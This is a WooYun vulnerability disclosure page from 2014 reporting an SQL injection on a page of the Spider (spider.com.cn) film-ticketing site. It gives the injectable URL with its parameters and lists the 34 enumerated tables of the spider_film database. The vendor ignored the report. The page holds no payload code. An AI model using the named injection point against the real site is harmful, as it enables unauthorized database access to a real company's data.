当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-083013

漏洞标题：蜘蛛网某站点SQL注入

相关厂商：spider.com.cn

漏洞作者： 宝宝

提交时间：2014-11-12 16:40

修复时间：2014-11-17 16:42

公开时间：2014-11-17 16:42

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-12： 细节已通知厂商并且等待厂商处理中
2014-11-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

蜘蛛网某站点SQL注入

详细说明：

注入点：http://film.spider.com.cn/cinema-44003301/?filmId=201411366068&showDate=2014-11-08&#p=1

spider1.png


spider2.png


spider_film库的表：

Database: spider_film
[34 tables]
+------------------+
| activityinfo     |
| applicationinfo  |
| cinemaTmInfo     |
| cinemacontacts   |
| cinemainfo       |
| commentuse       |
| dateapply        |
| dating           |
| datingreport     |
| favorite         |
| filmcomment      |
| filmcontract     |
| filmcontracttest |
| filminfo         |
| filminfoPush     |
| filmproduct      |
| filmruleText     |
| filmvideos       |
| hallinfo         |
| notice           |
| orderfilm        |
| orderfilmgift    |
| orderinsurance   |
| orderlog         |
| partner          |
| partnercontract  |
| privateletter    |
| seatinfo         |
| settleaccount    |
| showinfo         |
| showinfolog      |
| smstemplate      |
| ticketPrint      |
| v_orderfilm      |
+------------------+


漏洞证明：

spider1.png

修复方案：

这个你们比较在行

版权声明：转载请注明来源 宝宝@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-11-17 16:42

厂商回复：

最新状态：

暂无